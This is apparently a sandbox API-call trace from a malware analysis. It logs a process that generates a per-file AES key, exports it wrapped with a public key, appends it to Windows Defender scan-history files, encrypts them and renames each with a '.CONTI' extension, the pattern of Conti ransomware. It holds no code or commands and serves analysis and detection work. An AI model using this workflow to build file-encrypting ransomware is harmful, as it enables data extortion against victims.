	[0115.368] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.368] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.368] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.368] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.368] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.368] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.368] WriteFile (in: hFile=0x408, lpBuffer=0x6b42be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b42be0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.368] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.368] CloseHandle (hObject=0x408) returned 1
	[0115.368] GetProcessHeap () returned 0x1720000
	[0115.368] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.368] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191"
	[0115.368] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191.CONTI"
	[0115.368] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\05\\191"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\05\\191.conti")) returned 1
	[0115.369] GetProcessHeap () returned 0x1720000
	[0115.369] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.369] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0115.369] GetProcessHeap () returned 0x1720000
	[0115.369] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e768 | out: hHeap=0x1720000) returned 1
	[0115.369] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.369] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b402d8 | out: phKey=0x6b402d8*=0x6b7f078) returned 1
	[0115.369] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b402dc, pdwDataLen=0x4bffe94 | out: pbData=0x6b402dc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.370] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\09\\287")) returned 0x20
	[0115.377] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\09\\287"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.377] GetLastError () returned 0x0
	[0115.377] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.378] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.378] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.378] SetEndOfFile (hFile=0x408) returned 1
	[0115.378] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.378] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.378] WriteFile (in: hFile=0x408, lpBuffer=0x6b402dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b402dc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.379] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.379] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.379] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.379] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.379] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.379] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.379] WriteFile (in: hFile=0x408, lpBuffer=0x6b402d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b402d0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.379] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.379] CloseHandle (hObject=0x408) returned 1
	[0115.380] GetProcessHeap () returned 0x1720000
	[0115.380] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.380] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287"
	[0115.380] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287.CONTI"
	[0115.380] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\09\\287"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\09\\287.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\09\\287.conti")) returned 1
	[0115.380] GetProcessHeap () returned 0x1720000
	[0115.380] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.380] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.380] GetProcessHeap () returned 0x1720000
	[0115.380] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eab0 | out: hHeap=0x1720000) returned 1
	[0115.380] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.381] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b42e30 | out: phKey=0x6b42e30*=0x6b7f4b8) returned 1
	[0115.381] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42e34, pdwDataLen=0x4bffe94 | out: pbData=0x6b42e34*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.381] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\12\\194")) returned 0x20
	[0115.386] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\12\\194"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.387] GetLastError () returned 0x0
	[0115.387] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.387] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.387] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.387] SetEndOfFile (hFile=0x408) returned 1
	[0115.387] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.387] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.387] WriteFile (in: hFile=0x408, lpBuffer=0x6b42e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b42e34*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.388] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.388] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.388] CryptEncrypt (in: hKey=0x6b7f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.388] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.389] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.389] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.389] WriteFile (in: hFile=0x408, lpBuffer=0x6b42e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b42e28*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.389] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.389] CloseHandle (hObject=0x408) returned 1
	[0115.389] GetProcessHeap () returned 0x1720000
	[0115.389] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.389] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194"
	[0115.389] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194.CONTI"
	[0115.389] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\12\\194"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\12\\194.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\12\\194.conti")) returned 1
	[0115.390] GetProcessHeap () returned 0x1720000
	[0115.390] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.390] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0115.390] GetProcessHeap () returned 0x1720000
	[0115.390] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ea08 | out: hHeap=0x1720000) returned 1
	[0115.390] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.390] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b43998 | out: phKey=0x6b43998*=0x6b7f078) returned 1
	[0115.390] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4399c, pdwDataLen=0x4bffe94 | out: pbData=0x6b4399c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.391] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\262")) returned 0x20
	[0115.391] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\262"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.392] GetLastError () returned 0x0
	[0115.392] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.392] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.392] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.392] SetEndOfFile (hFile=0x418) returned 1
	[0115.392] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.392] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.393] WriteFile (in: hFile=0x418, lpBuffer=0x6b4399c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4399c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.394] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.394] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.394] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.394] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.394] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.394] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.394] WriteFile (in: hFile=0x418, lpBuffer=0x6b43990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b43990*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.394] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.394] CloseHandle (hObject=0x418) returned 1
	[0115.394] GetProcessHeap () returned 0x1720000
	[0115.394] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.394] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262"
	[0115.394] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262.CONTI"
	[0115.394] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\262"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\262.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\262.conti")) returned 1
	[0115.399] GetProcessHeap () returned 0x1720000
	[0115.399] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.399] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.399] GetProcessHeap () returned 0x1720000
	[0115.399] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e810 | out: hHeap=0x1720000) returned 1
	[0115.399] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.399] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b41518 | out: phKey=0x6b41518*=0x6b7f6b8) returned 1
	[0115.399] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4151c, pdwDataLen=0x4bffe94 | out: pbData=0x6b4151c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.400] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\109001")) returned 0x20
	[0115.400] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\109001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.400] GetLastError () returned 0x0
	[0115.400] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.400] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.400] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.400] SetEndOfFile (hFile=0x418) returned 1
	[0115.400] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.400] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.400] WriteFile (in: hFile=0x418, lpBuffer=0x6b4151c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4151c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.402] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.402] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.402] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.402] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.402] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.402] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.402] WriteFile (in: hFile=0x418, lpBuffer=0x6b41510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b41510*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.402] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.402] CloseHandle (hObject=0x418) returned 1
	[0115.402] GetProcessHeap () returned 0x1720000
	[0115.402] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.402] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001"
	[0115.402] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001.CONTI"
